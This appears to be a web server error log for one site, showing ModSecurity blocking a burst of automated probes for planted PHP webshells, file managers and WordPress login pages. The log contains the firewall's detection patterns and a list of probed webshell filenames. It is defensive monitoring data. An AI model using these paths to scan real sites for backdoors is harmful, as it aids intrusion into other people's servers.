[Tue May 05 07:46:45.617092 2026] [proxy_fcgi:error] [pid 53856:tid 53882] [client 45.86.200.90:43331] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:46:46.195364 2026] [:error] [pid 53856:tid 53882] [client 45.86.200.90:43331] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "afkv5nG_NPOxSH0O9aQcKQAAAVE"]
[Tue May 05 07:46:46.777889 2026] [:error] [pid 39072:tid 39126] [client 45.86.200.73:25209] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "afkv5volSHl4aAnrIosu9wAAAFM"]
[Tue May 05 07:46:47.924090 2026] [:error] [pid 53856:tid 53889] [client 45.86.200.91:39559] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "afkv53G_NPOxSH0O9aQcfAAAAVg"]
[Tue May 05 07:46:48.505716 2026] [:error] [pid 41055:tid 41068] [client 45.86.200.81:61053] [client 45.86.200.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "afkv6CepFwKgA_SKOHgXbwAAAQo"]
[Tue May 05 07:46:51.267163 2026] [:error] [pid 41055:tid 41081] [client 45.86.200.75:50797] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "afkv6yepFwKgA_SKOHgXzQAAARc"]
[Tue May 05 07:46:51.841621 2026] [:error] [pid 39072:tid 39118] [client 45.86.200.59:34437] [client 45.86.200.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "afkv6_olSHl4aAnrIosvjAAAAEs"]
[Tue May 05 07:46:53.566956 2026] [:error] [pid 39072:tid 39125] [client 45.86.200.57:42617] [client 45.86.200.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "afkv7folSHl4aAnrIosvxAAAAFI"]
[Tue May 05 07:46:54.114194 2026] [:error] [pid 39072:tid 39117] [client 45.86.200.75:46775] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "afkv7volSHl4aAnrIosv2AAAAEo"]
[Tue May 05 07:46:54.684048 2026] [:error] [pid 53856:tid 53884] [client 45.86.200.54:49707] [client 45.86.200.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "afkv7nG_NPOxSH0O9aQeAwAAAVM"]
[Tue May 05 07:46:56.790037 2026] [:error] [pid 53856:tid 53888] [client 45.86.200.87:34947] [client 45.86.200.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "afkv8HG_NPOxSH0O9aQefwAAAVc"]
[Tue May 05 07:46:57.684510 2026] [:error] [pid 53856:tid 53871] [client 45.86.200.96:57899] [client 45.86.200.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "afkv8XG_NPOxSH0O9aQeuAAAAUY"]
[Tue May 05 07:47:00.298879 2026] [:error] [pid 39073:tid 39143] [client 45.86.200.105:39139] [client 45.86.200.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.105, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "afkv9P0kT1BNjk46BkdxOwAAAIk"]
[Tue May 05 07:47:02.156661 2026] [:error] [pid 39073:tid 39149] [client 45.86.200.105:39139] [client 45.86.200.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.105, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "afkv9v0kT1BNjk46BkdxcAAAAI8"]
[Tue May 05 07:47:05.293323 2026] [proxy_fcgi:error] [pid 39073:tid 39136] [client 45.86.200.105:39139] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:12.072638 2026] [:error] [pid 39073:tid 39134] [client 45.86.200.105:39139] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "afkwAP0kT1BNjk46BkdyqQAAAIA"]
[Tue May 05 07:47:13.516058 2026] [:error] [pid 39071:tid 39104] [client 45.86.200.97:33845] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "afkwAYvmnRMz9gRzix2mSQAAABg"]
[Tue May 05 07:47:14.610358 2026] [:error] [pid 39071:tid 39080] [client 45.86.200.53:44561] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "afkwAovmnRMz9gRzix2mYQAAAAA"]
[Tue May 05 07:47:17.751029 2026] [:error] [pid 39071:tid 39090] [client 185.82.72.4:32901] [client 185.82.72.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "afkwBYvmnRMz9gRzix2mvwAAAAo"]
[Tue May 05 07:47:18.896528 2026] [:error] [pid 39071:tid 39083] [client 45.86.200.100:57313] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "afkwBovmnRMz9gRzix2m1gAAAAM"]
[Tue May 05 07:47:19.733705 2026] [:error] [pid 53856:tid 53869] [client 45.86.200.105:34117] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "afkwB3G_NPOxSH0O9aQiDQAAAUQ"]
[Tue May 05 07:47:21.513637 2026] [proxy_fcgi:error] [pid 53856:tid 53884] [client 45.86.200.57:36263] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:21.782512 2026] [:error] [pid 53856:tid 53865] [client 45.86.200.57:36263] [client 45.86.200.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "afkwCXG_NPOxSH0O9aQiXwAAAUA"]
[Tue May 05 07:47:22.424585 2026] [proxy_fcgi:error] [pid 39071:tid 39090] [client 45.86.200.74:42291] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:22.701939 2026] [:error] [pid 39071:tid 39081] [client 45.86.200.74:42291] [client 45.86.200.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "afkwCovmnRMz9gRzix2nNQAAAAE"]
[Tue May 05 07:47:23.269498 2026] [:error] [pid 39072:tid 39115] [client 45.86.200.108:42499] [client 45.86.200.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "afkwC_olSHl4aAnrIos0lAAAAEg"]
[Tue May 05 07:47:25.894868 2026] [:error] [pid 39071:tid 39089] [client 45.86.200.77:22457] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "afkwDYvmnRMz9gRzix2nowAAAAk"]
[Tue May 05 07:47:26.772081 2026] [:error] [pid 41055:tid 41067] [client 45.86.200.94:58639] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "afkwDiepFwKgA_SKOHgb-QAAAQk"]
[Tue May 05 07:47:28.202487 2026] [:error] [pid 39071:tid 39083] [client 45.86.200.73:51321] [client 45.86.200.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "afkwEIvmnRMz9gRzix2n4gAAAAM"]
[Tue May 05 07:47:30.773179 2026] [:error] [pid 39178:tid 39192] [client 185.82.72.4:39369] [client 185.82.72.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "afkwEjaPrgTaiOD_15u8YwAAAMw"]
[Tue May 05 07:47:31.352315 2026] [proxy_fcgi:error] [pid 41055:tid 41082] [client 45.86.200.84:24607] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:32.191620 2026] [:error] [pid 41055:tid 41079] [client 45.86.200.84:24607] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "afkwFCepFwKgA_SKOHgciQAAARU"]
[Tue May 05 07:47:34.165070 2026] [proxy_fcgi:error] [pid 53856:tid 53875] [client 45.86.200.84:48129] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:34.723050 2026] [:error] [pid 53856:tid 53878] [client 45.86.200.84:48129] [client 45.86.200.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.84, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "afkwFnG_NPOxSH0O9aQkVAAAAU0"]
[Tue May 05 07:47:41.432991 2026] [:error] [pid 53856:tid 53868] [client 45.86.200.84:48129] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "afkwHXG_NPOxSH0O9aQlmwAAAUM"]
[Tue May 05 07:47:42.252998 2026] [:error] [pid 53856:tid 53880] [client 45.86.200.84:23769] [client 45.86.200.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "afkwHnG_NPOxSH0O9aQl1wAAAU8"]
[Tue May 05 07:47:43.888080 2026] [:error] [pid 53856:tid 53868] [client 45.86.200.102:47501] [client 45.86.200.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "afkwH3G_NPOxSH0O9aQmPAAAAUM"]
[Tue May 05 07:47:45.298449 2026] [:error] [pid 39073:tid 39153] [client 45.86.200.89:25315] [client 45.86.200.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "afkwIf0kT1BNjk46Bkd1_wAAAJM"]
[Tue May 05 07:47:45.832075 2026] [:error] [pid 39073:tid 39158] [client 45.86.200.82:65529] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "afkwIf0kT1BNjk46Bkd2DAAAAJg"]
[Tue May 05 07:47:47.225077 2026] [:error] [pid 41055:tid 41079] [client 45.86.200.82:27413] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "afkwIyepFwKgA_SKOHgenQAAARU"]
[Tue May 05 07:47:48.356355 2026] [proxy_fcgi:error] [pid 53856:tid 53881] [client 45.86.200.111:37203] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:48.657761 2026] [:error] [pid 53856:tid 53876] [client 45.86.200.111:37203] [client 45.86.200.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "afkwJHG_NPOxSH0O9aQnLgAAAUs"]
[Tue May 05 07:47:49.503853 2026] [:error] [pid 41055:tid 41062] [client 45.86.200.90:35251] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "afkwJSepFwKgA_SKOHge0AAAAQQ"]
[Tue May 05 07:47:50.040568 2026] [:error] [pid 39178:tid 39202] [client 45.86.200.100:59395] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "afkwJjaPrgTaiOD_15u-rQAAANY"]
[Tue May 05 07:47:50.596759 2026] [:error] [pid 53856:tid 53883] [client 45.86.200.87:45659] [client 45.86.200.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "afkwJnG_NPOxSH0O9aQnjAAAAVI"]
[Tue May 05 07:47:51.162394 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.85:29419] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "afkwJzaPrgTaiOD_15u-1gAAAMg"]
[Tue May 05 07:47:51.708620 2026] [:error] [pid 41055:tid 41068] [client 45.86.200.109:30781] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "afkwJyepFwKgA_SKOHgfKAAAAQo"]
[Tue May 05 07:47:52.248926 2026] [:error] [pid 39178:tid 39187] [client 45.86.200.86:62673] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "afkwKDaPrgTaiOD_15u-9AAAAMc"]
[Tue May 05 07:47:53.355082 2026] [:error] [pid 39072:tid 39129] [client 45.86.200.95:34565] [client 45.86.200.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "afkwKfolSHl4aAnrIos4yAAAAFY"]
[Tue May 05 07:47:53.911874 2026] [:error] [pid 53856:tid 53880] [client 45.86.200.77:30619] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "afkwKXG_NPOxSH0O9aQoLgAAAU8"]
[Tue May 05 07:47:54.450686 2026] [:error] [pid 39073:tid 39158] [client 45.86.200.112:36727] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "afkwKv0kT1BNjk46Bkd2zQAAAJg"]
[Tue May 05 07:47:55.005742 2026] [:error] [pid 53856:tid 53883] [client 45.86.200.77:40425] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "afkwK3G_NPOxSH0O9aQoewAAAVI"]
[Tue May 05 07:47:55.554981 2026] [:error] [pid 41055:tid 41070] [client 45.86.200.112:29873] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "afkwKyepFwKgA_SKOHgfmwAAAQw"]
[Tue May 05 07:47:56.098291 2026] [proxy_fcgi:error] [pid 39072:tid 39126] [client 45.86.200.98:65479] AH01071: Got error 'Primary script unknown'
[Tue May 05 07:47:56.921641 2026] [:error] [pid 39072:tid 39113] [client 45.86.200.98:65479] [client 45.86.200.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.98, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "afkwLPolSHl4aAnrIos5MgAAAEY"]
[Tue May 05 07:47:58.348660 2026] [:error] [pid 39072:tid 39114] [client 45.86.200.98:65479] [client 45.86.200.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "afkwLvolSHl4aAnrIos5XgAAAEc"]
[Tue May 05 07:48:08.417556 2026] [:error] [pid 41055:tid 41066] [client 45.86.200.52:65003] [client 45.86.200.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "afkwOCepFwKgA_SKOHghSgAAAQg"]
